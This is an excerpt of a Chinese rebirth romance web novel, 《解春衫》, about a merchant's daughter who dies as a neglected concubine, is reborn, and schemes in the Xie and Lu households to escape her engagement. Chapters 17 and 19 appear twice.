《解春衫》
第1章 降妻为妾
“阿缨……给我个孩儿罢……”
锦被之下,绣枕之间,尽是恩爱的痕迹,她的指下是他温热起伏的背脊。
谢容一遍遍抚过她的小腹,声音哑得厉害,带着情极前的忍耐。
恍惚中,她倦慵地嘤咛一声,尾音被碾碎在唇齿间。
她仰颈承吻,藕臂不自觉环上他汗湿的脖颈,青丝交缠于枕上,异样一点点攀升,任余韵在四肢百骸流淌,似有暖意在情潮最浓时悄然扎根,结下他的骨血。
“娘亲,你看我给爹爹做的笔筒!”
小儿清亮的话语将戴缨从遥远的记忆拉回,接着,墙那头响起柔婉的女声。
“逸儿手巧,你爹爹准喜欢。”
听着这声音,戴缨正欲够茶壶的手一顿,那是一双瘦得能看见皮下静伏得青紫筋络的手,又枯又柴。
就在怔愣时,记忆中那道温静的声音响起,扯得她心尖生疼。
“难为我儿心意,爹爹喜欢。”
接着是下人们恭敬地唤“大爷。”
戴缨将手颤巍巍收回,归雁端着汤药进来,眼眶发红:“娘子,药好了。”
“那小儿是逸哥儿?”戴缨没看药,目光注视在院墙上。
“是,大爷和主母最小的哥儿。”
归雁把药搁在桌案上,心里发堵,郎心似铁,却比铁更冷硬,曾经那样的宠爱,眼里心里只她家娘子一人,如今却……
戴缨抓起药碗,面无表情地灌下去,苦涩漫满喉咙:“下去罢。”
归雁看着那单薄的背影,终究没敢多说。
屋门关上,戴缨把胳膊搭在窗栏上,日光下,她的皮肤薄得近乎透明。她知道自己活不久了,这稀烂的日子,也没什么好留恋的。
弥留之际,过往在眼前闪得飞快。
她是平谷戴家的女儿,戴万昌的长女,戴家虽说是商贾,却在平谷富甲一方,她和谢容的婚约,是因姑母戴万如。
当年戴万如执意嫁给穷书生谢山,谢山科举、仕途打点全靠戴万昌出钱,戴万昌图的是日后谢山出仕能帮着抬一抬戴家的地位。
后来谢山在京做了七品都事,戴缨就和谢容订了娃娃亲。
十六岁那年,戴缨和谢容本要议亲,戴母却突然病逝,她守孝三年,婚事拖到十九岁。
孝期一满,谢家便派人来接她进京。
初进谢府时,姑母待她亲厚,表妹谢珍一口一个“表姐”,谢容更是温柔体贴,常如儿时一样逗弄她。
然而,不知从哪一日起,一切都变了。
“兄长是不是结识了枢密使家的陆娘子?”她问过谢容。
“莫要多想,都是下人乱传。”谢容当时这样说。
如果那个时候谢容如实相告,她可以抽身,不是非要嫁他。
后来他拿“仕途艰难,需借陆家权势铺路”当幌子,一边风风光光娶了陆婉儿,转头又对她软硬兼施,迫她为妾。
“阿缨,除了我,你没有别的选择,我亦不会让你有别的选择。”
一切都是设计好的,从她踏入谢家的那一刻。
她成了他的妾室,她院中的灯为他而亮,红绡帐暖,恩宠日久,有了身孕。
直到一日,陆婉儿带人闯进来,两个婆子按住她,一碗黑稠的堕胎药灌了下去。
那是个成形的男婴,也毁了她的身子。
从此,谢容不再踏进她的院子,她拦过他,只换来他的冷脸。
再后来,陆婉儿接连生了孩子,她被丢在这冷院,十年,整整十年……
“阿缨……阿缨……”
恍惚中,她听见谢容的声音,带着颤。
她睁开眼,他两眼通红地将她揽在怀里,他的身体也在颤着,从未有过的失态。
阿兄,为什么啊!她想问个究竟,却已经没力气回应。
日光从浮尘突下,落在身上,慢慢冷了下去。
……
“娘子!这京都街上的小玩意儿,平谷都见不到哩!”归雁端着茶进来,叽叽喳喳的。
戴缨接过茶盏,指尖触到温热的杯壁,才惊觉自己不是在做梦,两日前醒来,她竟回到了十九岁,刚入谢府不到一个月。
低头看手,指根到指尖线条流畅,甲盖饱满得泛着粉泽,再走到妆台前,铜镜里的女子面庞姣好,双眼澄澈,双颊透着健康的红,哪里还有半分病气?
在接受这个事实后,接下来她要想尽一切办法解除婚约,逃离谢府。
她不要和谢容再有半分牵扯。
可她清楚,这事难,谢容不会放她走,姑母戴万如更不会,戴万如既瞧不上她商户身份,又贪她丰厚的妆奁。
父亲戴万昌也靠不住,他只在乎她的婚事能给戴家换取多少利益,前世她落难,他连手都没伸。
“把今儿买的簪子、耳坠带上,给姑母和珍姐儿送过去。”戴缨对丫头吩咐,“如今住在这里,脸面上得顾着。”
归雁点点头,装好首饰和香粉,目光落到戴缨颈间:“娘子怎么把它戴上了?”
这金累丝青玉项圈娘子并不常戴,说它稀贵。
“它是饵……”戴缨呢喃。
若她没记错,明日便是陆婉儿的生辰。
陆府,一砖一瓦浸透着权势的冰冷,矗立在那里,只需轻轻一个吐息,便能将她这等毫无根基的女子碾得
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粉碎……
上房里,戴万如正坐着喝茶,谢珍在一旁摆弄手帕。
见戴缨进来,戴万如抬了抬眼:“前几日说病了,今日瞧着倒好了些。”
“劳姑母挂心,已无大碍。”戴缨屈膝行礼,归雁把首饰匣子递上去。
谢珍眼尖,一把掀开匣子,看见里面的珠宝,眼睛都亮了:“表姐这簪子真好看!”
戴万如瞥了眼匣子,语气淡淡的:“你刚到京都,哪用这么破费。”
话里却没推辞的意思。
“姑母和珍姐儿喜欢就好。”戴缨垂着眼,掩去眼底的冷意。
谢珍被匣子里的簪珠晃花了眼,忘形道:“我正愁呢,有了这些,明日去陆府也不怕失颜面……”
话才出口,慌忙掩嘴。
明日是陆家千金的生辰宴,她一直瞒着此事,怕戴缨知晓后也想随去,她自然不愿,一来看不上戴缨商女的身份,二来也怕连累自己被其他贵女轻看。
戴缨岂会不知谢珍自以为是的小心思。
正当谢珍费尽心思圆话时,上首的戴万如开口道:“你来之前这丫头正愁烦,说只得了一张帖子,去不得两人,遂要把帖子让出来,让你这个表姐去,难为她的这番心意。”
她这个女儿一味的没头脑,一匣子簪珠能让她失态,哪像官户娘子。
思及此,戴万如也是无奈,谢山官场多年,仍是位卑权轻,每月俸禄只那么些。
她作为当家主母,里里外外哪一样不需钱财打点,这么些年全靠她当年的嫁妆,是以常常后手不接,黄柏木作磬槌子——外头体面里头苦。
“陆相千金必是同珍姐儿交好,这才下帖儿给她,就是表妹好意相让,我也没脸接过。”戴缨笑说着。
陆婉儿的筵宴受邀之人皆是极权极贵,若无一定官阶,连陆府的大门都进不去,为何给谢珍一小官之女下帖儿?无非为着谢容罢了。
“可不是,那样的高门贵府,表姐去了只怕也不受待见……”谢珍话未说完,一双眼定在了戴缨的颈间。
那是一条极为罕见的饰物,不必上手掂量,只观外形也能看出它的不寻常。
“这个项圈怎的从未见表姐戴过?”
戴缨垂首,看向胸前垂挂的项圈:“太沉,我一般不戴它。”
谢珍眼中闪动,把匣子里的珠宝撇向一边:“表姐可否借我戴一日?”
戴缨想了想,说道:“既然表妹喜欢,借你戴一日又何妨,只是切记,万不可将它戴出府门。”
谢珍哪管她说什么,满口应下,却没发现戴缨眼梢的冷意,能否解除婚约,就看它了……
第17章 赶出府门
陆婉儿进到书房内,陆铭章手边还摞着几卷书文。
“这会儿怎么来了?”
陆婉儿张了张嘴,做出一副欲言又止的样子。
陆铭章用下巴指了指:“坐下说。”
陆婉儿依言坐到右侧一溜排的交椅上,抬眼望向上首:“父亲,咱们府里进了坏人,您管是不管?”
“坏人?谁是坏人,说来。”陆铭章问道。
“祖母前些时让谢家姐妹住进府中,原是祖母好意,谁知招了一个‘事非’进府。”陆婉儿说着,又看了一眼上首,见父亲往后靠着椅背,双手搭在椅扶上,面上没有过多表情。
于是挤出几滴眼泪,继续道:“父亲曾说过,家和方能万事兴,如今府里因一外人,扰得人心不稳,岂不是引进一个潜在祸害。”
陆铭章“嗯”了一声:“你口里的外人是指谢家姐妹?”
“珍姐儿倒还好,坏就坏在那位戴小娘子。”陆婉儿叹了一声,“女儿见她长得端丽标致,谁知内里藏奸,居然……”
“居然什么?”
陆婉儿便把白日的事情讲了,只是她说出来的同实际情况完全两样。
“女儿正同珍姐儿在园子里散步,正巧碰到戴小娘子和溪姐儿,便上前同她们见礼。”
“女儿想着,这位戴小娘子乃我陆府客人,是以,并不在意她商女的身份,好意相待,想着以心换心,以诚换诚,哪承想,真真是应了一句话‘知人知面不知心’。”
陆婉儿以指顶着帕,在腮上拭了拭:“那位戴小娘子,当面客客气气,孰料背过身,竟对溪姐儿说女儿不是陆府这棵大树结得果儿,身上流得不是陆府的血,还挑拨溪姐儿同我争了好一番。”
“女儿心里委屈,想要质问,可一想到她是祖母邀来的,生生忍下来,这还不算完……”
陆婉儿起身,走到陆铭章桌案前,两手并搁到案上,身子稍稍前倾,表现出急切。
“父亲,你有无在听女儿说话?”
陆铭章抬起眼,在她面上睃了两眼,点了点头:“有在听,继续说来。”
陆婉儿不知怎的,父亲那双眼眸在抬起的一瞬,让她心里一紧,定是多想了,父亲的眼神本就不是一般人能承得起的。
“她如今成日腻在祖母跟前,谗言惑道,哄得祖母只听她的。”
“且,女儿听她同溪姐儿私语,想着哄祖母开心,然后给她指一家世显赫的官户子弟。”陆婉儿叹道,“可惜谢家摊上这样一门拐不清的表亲,难怪青山寺里急着退亲,合着早有打算。”
陆铭章摆了摆手,陆婉儿不解其意。
“去那里坐好,别在我跟前杵着,挡光。”
陆婉儿瘪下嘴,重新坐回交椅上。
“她还让老夫人给指一门亲?”陆铭章问道。
“可不是呢,居然有这样的野心,完全是利用咱们家,这样的人哪里能留,还有呢……”陆婉儿仍嫌不够,又追说道,料定只要她道出接下来的话,父亲一定容不下戴缨,必会让她离开。
“还有什么,一并道出。”
“女儿心思浅,白日在园内发生之事并未放在心里,谁知她恶人先告状,到祖母跟前说我无礼无识,怨我不尽待客之仪,祖母听信了她的话,对女儿好一通说教。”
“女儿受些委屈不算什么,可让这种搬弄是非之人侍在祖母身边,无异于养虎为患,欺祖母耳根子软,怎能让这种人留在府里……”
陆婉儿两眼湿红,说得正声情并茂,上首的声音骤然把她打断。
“我说的。”
陆婉儿一脸愕然,怔了半晌,磕巴道:“什么……父亲刚才说什么?”
陆铭章将胳膊凭着右侧扶手,松下肩膀,一字一顿道出:“我同老夫人说的,我向老夫人告的状,可不可以?”
陆婉儿仍没有反应,面色白了又白,喉咙像卡着东西,说不出一句话。
“无礼无识,得理不饶人,无理搅三分,乖张刻薄,毫无一点待客之道……”
陆铭章每说一句,陆婉儿的脸就白一分,直到后面陆铭章又道,“如今再加两条,混淆是非!品性不端!”
陆婉儿心神摇颤,强撑着说道:“必是那起子小人到父亲面前乱嚼舌根。”
“为父亲耳听到,亲眼见到,何须旁人告知我,本想给你留些脸,让老夫人提点几句,你反告到我面前来?!”
陆铭章又道,“自你幼时入府,不论是我还是老夫人,从不曾对你有半点苛待,到了年纪,特意为你请了女先生并教养嬷嬷,现下看来,好的没学着,尽耍些阴私伎俩,哪有官户娘子的半点礼范和体统!”
陆婉儿有些怕了,一连受了两回训责,她从父亲的眼中看到了失望。
这失望叫她心里又慌又惧。
若她失去父亲和祖母的庇护,才是最大的灾难,得不偿失,只有赶紧认错,方能博得父亲的怜惜和宽容。
“婉儿错了,婉儿知错了,父亲大人莫要气恼,婉儿不敢了。”
陆铭章还算了解自己这个女儿,或者说他更了解人性。
如此无心地道歉,同刚才一脸嫌恶的姿态全然两派,必不是真心悔过。就算他再说多些,她也不见得能听进去。
这种任性霸道的心性一旦养成,非朝夕可改,必要吃过一番苦,栽过大跟头,才能明晓其中道理,端看时间早晚罢了,早些了悟,还有得救,悟晚了,余生唯有坎坷。
“你若真对老夫人有心,常去陪她,而不是自己一边贪玩,一边怨恨旁人。”
这会儿陆铭章说什么,陆婉儿应什么,半句不敢顶撞。
“是,女儿知道了。”
陆铭章看向陆婉儿,又道:“今日之事是你无礼在先,现下晚了,待明日,去给戴小娘子赔不是。”
“父亲!”陆婉儿睁愣着眼,有些不可置信。
“怎的,不愿意?”陆铭章淡淡一句。<
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br>陆婉儿咬着唇,低声道:“愿意,女儿愿意。”
“下去罢。”
陆婉儿应声退下。
待陆婉儿走后,陆铭章从桌后起身,走出房门,长安提灯随在身后,两人行到葡萄架前。
“前些时已掐了须。”长安说道。
陆铭章“嗯”了一声,眼睛在绿枝嫩叶上来回巡视,然后伸出右手,一旁侍候的美婢赶紧把剪具递上。
陆铭章接过,把余漏的几绺须条绞了下来。
“这些卷须最好吸收养分,但凡长出来,就得掐了。”
“是。”长安敛下眼皮,顺应问出,“谢家来的那位姑娘……找个由头请出府?”
白天在园子里,那位戴小娘子确有挑拨之意。
陆铭章继续在藤条中寻着,一有冒头的卷须,便给绞下,两瓣锋刃之间一截细条,新嫩的绿色,像知道自己的性命即将终结,在锋刃间颤了颤。
那晚的情形在陆铭章脑中浮闪,他告诉她私自篡改贡品会杀头,她惊欠着眼,带着一点懵懂,懵懂中又蕴着惧怕,讷讷说着:
我不懂……
“留着罢。”陆铭章说罢,将手中的剪具放回丫鬟手里的托盘,再接过半湿的巾帕拭手。
长安面上不显,心里却惊讶。好像只要涉及到这位小娘子,阿郎便有些不同。
上次,阿郎费口舌同她讲贡品事宜,他家阿郎是何人,统着整个大衍朝的调兵权,所掌司部同中书门下并称“二府”,一个主军,一个主政。
多少人费尽心机只求在他面前现一眼,若能得他一句话,那更是了不得,不知得多少便利。
他却跟一个商女谈毫无意义的贡品章程。
阿郎的脾性他很了解,面上温肃,实则内里明决机警,机锋暗藏,否则怎能这么个年纪同那些老狐狸分庭而峙。
长安收回神思,问了另一件事:“过几日便是花灯节,可要小的从暗处派人随在小主子身边?”
陆铭章眉头蹙起:“你去安排,再不能出现上次的丑事。”
长安应下,他家小娘子属实太胡闹,同谢家小郎共车私会。
虽说当时他们带兵开道,还是走漏了一星半点消息于官眷内部。这一星半点的猜忌足够影响婚嫁,就是没有什么,也变得有什么了。
否则,阿郎怎会看得上谢家。
……
次日,戴缨刚从上房请安回揽月居,才在院中坐下喝两口茶,归雁气咻咻跑来。
“娘子,娘子,她们来了。”
戴缨一听这个“她们”,便知是陆婉儿和谢珍,当下理了理衣襟,不紧不慢地立起身,看向月洞门。
不一会儿,呼啦啦一大波人把月洞门映得满满当当。
当头一人正是陆婉儿,她的身后跟着谢珍,还有十来个五大三粗的婆子。
这一幕同前世何其相似,戴缨掐了掐手心,泛寒的恶心感再次涌上喉咙。
她们来到她的面前……
第19章 刀口舔蜜
陆铭章用**后,陪老夫人说了会儿话,起身告退,随后,戴缨也起身告退。
陆老夫人年纪上来,晚间精神不济,这会儿也有些乏了,点了点头。
灯火迷蒙间,陆老夫人半阖着眼,看着他二人离去,心头闪过一丝说不清道不明的异样,不能细想,因为稍一细想脑中就是一片空白。
那异感太过迅速,完全捕获不住。
……
出了上房,戴缨走在陆铭章身侧,预先想好的言辞在脑中翻来覆去滚过,终于唤了一声:“大人。”
陆铭章住下脚步,侧目看她。
戴缨继续道:“缨娘在这里向大人认个错。”
陆铭章仍是不语,等她说下去。
“昨日阿缨在园中碰见了婉儿,因着小事拌嘴,最后叫老夫人知晓了,转头训了婉儿几句,阿缨心中难安,思来想去还是该同大人说明一下,若是因我让老夫人对婉儿生了不快,阿缨实在担不起,不如……”
戴缨拖长话音,不将话语道尽。
“不如什么?”陆铭章问道。
“不如阿缨自请离去。”
一语毕,戴缨屏着呼吸,微垂着颈,视线落在对面之人镶有深青色的衣摆上。
与其让陆铭章找理由打发她,不如她先把事情挑明,认下错,表明态度再自请离开,这样一来,于情于理,陆铭章反倒不能施为。
戴缨是这么想的,不出意外就是她想的那种结果,说起来,这就是女儿家之间的小事,她将和盘托出,陆铭章接下来应当会说几句客套话,些事翻篇。
然而,她等了半晌,对面仍是没有言语,颈脖僵得咯吱咯吱作响时,陆铭章开口了。
“你若真想离开,不该同我说,向老夫人请辞便可。”
戴缨心里一紧,做不出任何反应,脸上热辣辣的,好在夜黑看不出来。身体里的脏器开始往内缩,缩成一团,更像是逃,只剩一身皮肉强撑。
脑子在短暂的嗡鸣后渐渐转醒。
一切的预设皆是她的自以为是,以为事情会按她的想法流动,然而她料错了一点,陆铭章不是会被随意带动的人。
她那点伎俩哪能瞒得过他?她玩砸了,还是搬起石头砸自己的脚。
正在思忖间,陆铭章进前一步,戴缨沉浸于反思过失,在陆铭章靠近时,下意识抬头。
距离小小的拉近,使她更加被动起来,因为心慌,或许还有心虚,心开始不受控制地乱蹦。
他的声音从始至终没有太大起伏:“小小年纪,莫要乱耍小聪明,做那刀口舔蜜的事。”
戴缨心里一紧,身子更僵了,不敢辩驳,只能应是。
“忘记上次那个故事了?”陆铭章说道,“脑子倒是机灵,只是用错了地方……”
戴缨会过意,他说的是有关贡品的故事,苏家小娘子想办法补救破损的绣画,故事里苏家因祸得福,结尾皆大欢喜,可实际并不是。
“大人的话,阿缨记得,不敢忘。”戴缨重新低下头,如同一个受训的孩子。
陆铭章看了她一眼,不再多说,转身离开了。
待他走后,戴缨这才发现,自己身后汗湿了一片,夜风一来,不由得打了一个寒噤。
回了揽月居,孔嬷嬷早早让人备下热水。
沐间水汽氤氲,半人高的木桶里荡着水波,水面花瓣浮动,丝丝烟气腾起。
归雁替自家主子除了衣衫,扶她入到桶内,刚一进入,水面漫出,湿了地面。
戴缨靠坐着桶沿,水面恰好漫过隆起的胸乳。荡漾的波光里,那轮廓仿佛有了生命,追随着水的律动。
烛光浅黄,透着帷暮更显朦胧。
轻纱一样的淡光浮于整个屋室,那露于水面的肌比纱还要白,如同纱下覆着的雪肌,织物掩罩,却遮不住底下原本的颜色。
她家娘子生得好模样,在家中对下人们也好,又聪明,很会做生意,更会看账目,谁也别想瞒过她的那双眼。
只是出身比那些官家小娘子差了。
若是老爷能看重小娘子几分,就算身为商户又怎样,一样能过得好,偏老爷认为她家主子是女儿身,不能承继家业。
指着后院的姨娘们给他生儿子哩!不是她说,若真能生儿子,早生了。
归雁一边舀水替戴缨湿发,一面在心里打抱不平,手里搓揉着水亮的乌发,又是一声叹。
正在此时,外间的孔嬷嬷走了进来,因戴缨回来晚了,叨唠起来。
“小娘子今日怎么回来这样晚,这个天虽说不冷,却也下露水,这不,软衫上湿了这样一大片。”说着,将手里的衣衫往前一伸,“这样最容易伤风。”
孔嬷嬷是戴缨的乳母,从戴缨出生便随在身边侍候之人,她抱戴缨的次数比戴母还多。
戴缨的衣食住行,无一样不经她之手,是个极为细心尽职的妇人,这么些年的相依相伴,她早已把戴缨当自家孩子看待,不论戴缨年岁几何,在她眼中仍是未长大的模样。
孔嬷嬷说着走到外间,嘴里的话仍碎碎传来。
“女儿家晚回总归不好,夜里黑,坏事、脏事都是摸黑发生的,人心不可测,白日里尽藏着,一到夜里,什么妖魔鬼怪都出来了。”
归雁隔着帷屏,笑道:“嬷嬷,你也忒谨慎了,这可是陆府,人前人后皆有人跟着,真要有什么坏事,不白养那么些人了?”
孔嬷嬷急急走进来:“你这丫头就是没心,被姐儿护惯了,坏人可会把坏写在脸上?他要害你时会提前告之于你?一个人真想害另一人性命,别管身前身后跟了多少人,总能让他寻到空档。”
归雁不甘示弱,回问道:“依您这样说,和着怎么样都不行,早回晚回又有什么区别。”
“那也不是,小娘子若能听嬷嬷我的话,定能平平安安,百无禁忌。”孔嬷嬷说道
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前世,戴缨咽气时只有归雁相陪,孔嬷嬷在她嫁给谢容不久,被陆婉儿以莫须有的罪名赶出府,无非就是想让她身边无人,更好被拿捏。
她忘不了孔嬷嬷离开时看她的那一眼,不舍、忧惧,还有一种更复杂的情绪……
她料准她接下来的路不好走,却不能伴在她的身侧。
戴缨心道,前一世孔嬷嬷若得知她身死的消息一定难过,然而两世为人的戴缨却不知,孔嬷嬷走在了她前面。
被赶出谢府的孔嬷嬷并没有回平谷戴家,而是留在了京都,靠给人做粗活为生,其实以她的本事,就算留在京都,再寻一户好人家当仆妇并不难。
但那样一来,便失了自由,而孔嬷嬷留于京都为的是方便随时应候戴缨的差遣、随时探知她的消息。
这位乳母不想离小主人太远。
因长时间劳累,再加上吃不好,从前丰腴的身子迅速干瘪下去。
一日,天蒙蒙亮,街上摆早市的还没出来,孔嬷嬷从一户人家做活出来,正穿过街面,一辆马车毫无征兆地从雾中驶出。
那会儿街上没人,等到熹光微露,天边染上一抹白,街上零星来往的人才看清,地上躺着一个人。
这件事情,戴缨无从得知,不论前世还是今生,她只知孔嬷嬷离了谢府,回了平谷老家。
知道或是不知道,戴缨都不会再让身边的人有事,她会护好她们。
从前的她不爱听孔嬷嬷唠叨,可现在却觉得格外安心。
“好,好,我就听嬷嬷的,嬷嬷说什么便是什么。”戴缨笑道。
孔嬷嬷心奇小主子今日怎么这样好说话,当下也不唠叨了,开始铺床熏香。
待一切理毕,这才出了屋室。
戴缨靠着木桶,任归雁替她揉洗头发,洗净后,戴缨又在水中浸了会儿才起身。
归雁拿小暖炉给戴缨烘发,院里的下人们进屋清理沐间。直到服侍戴缨睡下,丫鬟们才退出房门。
夜已深,所有人皆已睡下,戴缨却睡不着,睁眼躺在床上,望着帐顶,叹了一口气后从床上坐起,趿鞋下榻,走到窗榻边倚坐,小几上的香炉已经冷了。
她将窗扇推开,让月光照进来,更显一室的寂静,执起茶壶给自己倒了一盏凉茶,呷了一口,压下心头烦郁。
清辉的月色落到窗下人的细绢衫上,熏风一来,裹现衣下玲珑有致的轮廓,映透着雪肤。
不知是不是老天垂怜,给了她一次新生,可就算新生,这路仍是不好走。
她的新生不代表周围人变蠢了。
前世的她,困在那一方宅院,郁郁虚度直至死去,这一世,两脚刚刚迈出,却又遇到一座鳌山。
那是陆婉儿最大的倚仗,她的养父,陆铭章。
不同的是,前世的她连见他的资格都没有,而这一世,她见到了这个大人物……只是,没留下什么好印象……
第17章 赶出府门
陆婉儿进到书房内,陆铭章手边还摞着几卷书文。
“这会儿怎么来了?”
陆婉儿张了张嘴,做出一副欲言又止的样子。
陆铭章用下巴指了指:“坐下说。”
陆婉儿依言坐到右侧一溜排的交椅上,抬眼望向上首:“父亲,咱们府里进了坏人,您管是不管?”
“坏人?谁是坏人,说来。”陆铭章问道。
“祖母前些时让谢家姐妹住进府中,原是祖母好意,谁知招了一个‘事非’进府。”陆婉儿说着,又看了一眼上首,见父亲往后靠着椅背,双手搭在椅扶上,面上没有过多表情。
于是挤出几滴眼泪,继续道:“父亲曾说过,家和方能万事兴,如今府里因一外人,扰得人心不稳,岂不是引进一个潜在祸害。”
陆铭章“嗯”了一声:“你口里的外人是指谢家姐妹?”
“珍姐儿倒还好,坏就坏在那位戴小娘子。”陆婉儿叹了一声,“女儿见她长得端丽标致,谁知内里藏奸,居然……”
“居然什么?”
陆婉儿便把白日的事情讲了,只是她说出来的同实际情况完全两样。
“女儿正同珍姐儿在园子里散步,正巧碰到戴小娘子和溪姐儿,便上前同她们见礼。”
“女儿想着,这位戴小娘子乃我陆府客人,是以,并不在意她商女的身份,好意相待,想着以心换心,以诚换诚,哪承想,真真是应了一句话‘知人知面不知心’。”
陆婉儿以指顶着帕,在腮上拭了拭:“那位戴小娘子,当面客客气气,孰料背过身,竟对溪姐儿说女儿不是陆府这棵大树结得果儿,身上流得不是陆府的血,还挑拨溪姐儿同我争了好一番。”
“女儿心里委屈,想要质问,可一想到她是祖母邀来的,生生忍下来,这还不算完……”
陆婉儿起身,走到陆铭章桌案前,两手并搁到案上,身子稍稍前倾,表现出急切。
“父亲,你有无在听女儿说话?”
陆铭章抬起眼,在她面上睃了两眼,点了点头:“有在听,继续说来。”
陆婉儿不知怎的,父亲那双眼眸在抬起的一瞬,让她心里一紧,定是多想了,父亲的眼神本就不是一般人能承得起的。
“她如今成日腻在祖母跟前,谗言惑道,哄得祖母只听她的。”
“且,女儿听她同溪姐儿私语,想着哄祖母开心,然后给她指一家世显赫的官户子弟。”陆婉儿叹道,“可惜谢家摊上这样一门拐不清的表亲,难怪青山寺里急着退亲,合着早有打算。”
陆铭章摆了摆手,陆婉儿不解其意。
“去那里坐好,别在我跟前杵着,挡光。”
陆婉儿瘪下嘴,重新坐回交椅上。
“她还让老夫人给指一门亲?”陆铭章问道。
“可不是呢,居然有这样的野心,完全是利用咱们家,这样的人哪里能留,还有呢……”陆婉儿仍嫌不够,又追说道,料定只要她道出接下来的话,父亲一定容不下戴缨,必会让她离开。
“还有什么,一并道出。”
“女儿心思浅,白日在园内发生之事并未放在心里,谁知她恶人先告状,到祖母跟前说我无礼无识,怨我不尽待客之仪,祖母听信了她的话,对女儿好一通说教。”
“女儿受些委屈不算什么,可让这种搬弄是非之人侍在祖母身边,无异于养虎为患,欺祖母耳根子软,怎能让这种人留在府里……”
陆婉儿两眼湿红,说得正声情并茂,上首的声音骤然把她打断。
“我说的。”
陆婉儿一脸愕然,怔了半晌,磕巴道:“什么……父亲刚才说什么?”
陆铭章将胳膊凭着右侧扶手,松下肩膀,一字一顿道出:“我同老夫人说的,我向老夫人告的状,可不可以?”
陆婉儿仍没有反应,面色白了又白,喉咙像卡着东西,说不出一句话。
“无礼无识,得理不饶人,无理搅三分,乖张刻薄,毫无一点待客之道……”
陆铭章每说一句,陆婉儿的脸就白一分,直到后面陆铭章又道,“如今再加两条,混淆是非!品性不端!”
陆婉儿心神摇颤,强撑着说道:“必是那起子小人到父亲面前乱嚼舌根。”
“为父亲耳听到,亲眼见到,何须旁人告知我,本想给你留些脸,让老夫人提点几句,你反告到我面前来?!”
陆铭章又道,“自你幼时入府,不论是我还是老夫人,从不曾对你有半点苛待,到了年纪,特意为你请了女先生并教养嬷嬷,现下看来,好的没学着,尽耍些阴私伎俩,哪有官户娘子的半点礼范和体统!”
陆婉儿有些怕了,一连受了两回训责,她从父亲的眼中看到了失望。
这失望叫她心里又慌又惧。
若她失去父亲和祖母的庇护,才是最大的灾难,得不偿失,只有赶紧认错,方能博得父亲的怜惜和宽容。
“婉儿错了,婉儿知错了,父亲大人莫要气恼,婉儿不敢了。”
陆铭章还算了解自己这个女儿,或者说他更了解人性。
如此无心地道歉,同刚才一脸嫌恶的姿态全然两派,必不是真心悔过。就算他再说多些,她也不见得能听进去。
这种任性霸道的心性一旦养成,非朝夕可改,必要吃过一番苦,栽过大跟头,才能明晓其中道理,端看时间早晚罢了,早些了悟,还有得救,悟晚了,余生唯有坎坷。
“你若真对老夫人有心,常去陪她,而不是自己一边贪玩,一边怨恨旁人。”
这会儿陆铭章说什么,陆婉儿应什么,半句不敢顶撞。
“是,女儿知道了。”
陆铭章看向陆婉儿,又道:“今日之事是你无礼在先,现下晚了,待明日,去给戴小娘子赔不是。”
“父亲!”陆婉儿睁愣着眼,有些不可置信。
“怎的,不愿意?”陆铭章淡淡一句。<
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br>陆婉儿咬着唇,低声道:“愿意,女儿愿意。”
“下去罢。”
陆婉儿应声退下。
待陆婉儿走后,陆铭章从桌后起身,走出房门,长安提灯随在身后,两人行到葡萄架前。
“前些时已掐了须。”长安说道。
陆铭章“嗯”了一声,眼睛在绿枝嫩叶上来回巡视,然后伸出右手,一旁侍候的美婢赶紧把剪具递上。
陆铭章接过,把余漏的几绺须条绞了下来。
“这些卷须最好吸收养分,但凡长出来,就得掐了。”
“是。”长安敛下眼皮,顺应问出,“谢家来的那位姑娘……找个由头请出府?”
白天在园子里,那位戴小娘子确有挑拨之意。
陆铭章继续在藤条中寻着,一有冒头的卷须,便给绞下,两瓣锋刃之间一截细条,新嫩的绿色,像知道自己的性命即将终结,在锋刃间颤了颤。
那晚的情形在陆铭章脑中浮闪,他告诉她私自篡改贡品会杀头,她惊欠着眼,带着一点懵懂,懵懂中又蕴着惧怕,讷讷说着:
我不懂……
“留着罢。”陆铭章说罢,将手中的剪具放回丫鬟手里的托盘,再接过半湿的巾帕拭手。
长安面上不显,心里却惊讶。好像只要涉及到这位小娘子,阿郎便有些不同。
上次,阿郎费口舌同她讲贡品事宜,他家阿郎是何人,统着整个大衍朝的调兵权,所掌司部同中书门下并称“二府”,一个主军,一个主政。
多少人费尽心机只求在他面前现一眼,若能得他一句话,那更是了不得,不知得多少便利。
他却跟一个商女谈毫无意义的贡品章程。
阿郎的脾性他很了解,面上温肃,实则内里明决机警,机锋暗藏,否则怎能这么个年纪同那些老狐狸分庭而峙。
长安收回神思,问了另一件事:“过几日便是花灯节,可要小的从暗处派人随在小主子身边?”
陆铭章眉头蹙起:“你去安排,再不能出现上次的丑事。”
长安应下,他家小娘子属实太胡闹,同谢家小郎共车私会。
虽说当时他们带兵开道,还是走漏了一星半点消息于官眷内部。这一星半点的猜忌足够影响婚嫁,就是没有什么,也变得有什么了。
否则,阿郎怎会看得上谢家。
……
次日,戴缨刚从上房请安回揽月居,才在院中坐下喝两口茶,归雁气咻咻跑来。
“娘子,娘子,她们来了。”
戴缨一听这个“她们”,便知是陆婉儿和谢珍,当下理了理衣襟,不紧不慢地立起身,看向月洞门。
不一会儿,呼啦啦一大波人把月洞门映得满满当当。
当头一人正是陆婉儿,她的身后跟着谢珍,还有十来个五大三粗的婆子。
这一幕同前世何其相似,戴缨掐了掐手心,泛寒的恶心感再次涌上喉咙。
她们来到她的面前……
第19章 刀口舔蜜
陆铭章用**后,陪老夫人说了会儿话,起身告退,随后,戴缨也起身告退。
陆老夫人年纪上来,晚间精神不济,这会儿也有些乏了,点了点头。
灯火迷蒙间,陆老夫人半阖着眼,看着他二人离去,心头闪过一丝说不清道不明的异样,不能细想,因为稍一细想脑中就是一片空白。
那异感太过迅速,完全捕获不住。
……
出了上房,戴缨走在陆铭章身侧,预先想好的言辞在脑中翻来覆去滚过,终于唤了一声:“大人。”
陆铭章住下脚步,侧目看她。
戴缨继续道:“缨娘在这里向大人认个错。”
陆铭章仍是不语,等她说下去。
“昨日阿缨在园中碰见了婉儿,因着小事拌嘴,最后叫老夫人知晓了,转头训了婉儿几句,阿缨心中难安,思来想去还是该同大人说明一下,若是因我让老夫人对婉儿生了不快,阿缨实在担不起,不如……”
戴缨拖长话音,不将话语道尽。
“不如什么?”陆铭章问道。
“不如阿缨自请离去。”
一语毕,戴缨屏着呼吸,微垂着颈,视线落在对面之人镶有深青色的衣摆上。
与其让陆铭章找理由打发她,不如她先把事情挑明,认下错,表明态度再自请离开,这样一来,于情于理,陆铭章反倒不能施为。
